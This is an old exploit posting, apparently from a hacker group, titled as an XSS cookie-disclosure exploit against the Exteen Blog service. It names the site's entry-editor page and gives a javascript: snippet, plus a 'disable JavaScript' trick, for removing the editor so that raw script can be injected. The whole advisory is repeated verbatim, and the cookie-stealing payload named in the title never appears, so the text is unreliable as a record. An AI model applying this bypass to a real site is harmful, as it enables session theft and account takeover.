tan_prathan@hotmail.com
22/05/08, 19:15
================================================== ========
Exteen Blog XSS Remote Cookie Disclosure Exploit
================================================== ========
AUTHOR : CWH Underground
DATE : 22 May 2008
SITE : www.citec.us
################################################## ###
APPLICATION : Exteen Blog
VENDOR : www.exteen.com
################################################## ###
--- Vulnerable page ---
[-] http://www.exteen.com/manage/entryeditor.php (Create New Entry Page)
--- Description ---
There are 2 ways to exploit this page
1. Type "javascript:(function(){var x = document.getElementById('mce_editor_0_parent'); x.previousSibling.style.display = 'block';x.parentNode.removeChild (x);})()" on address bar and press Enter
2. Disable javascript on your Browser and visit vulnerable page
Exteen Blog XSS Remote Cookie Disclosure Exploit
================================================== ========
AUTHOR : CWH Underground
DATE : 22 May 2008
SITE : www.citec.us
################################################## ###
APPLICATION : Exteen Blog
VENDOR : www.exteen.com
################################################## ###
--- Vulnerable page ---
[-] http://www.exteen.com/manage/entryeditor.php (Create New Entry Page)
--- Description ---
There are 2 ways to exploit this page
1. Type "javascript:(function(){var x = document.getElementById('mce_editor_0_parent'); x.previousSibling.style.display = 'block';x.parentNode.removeChild (x);})()" on address bar and press Enter
2. Disable javascript on your Browser and visit vulnerable page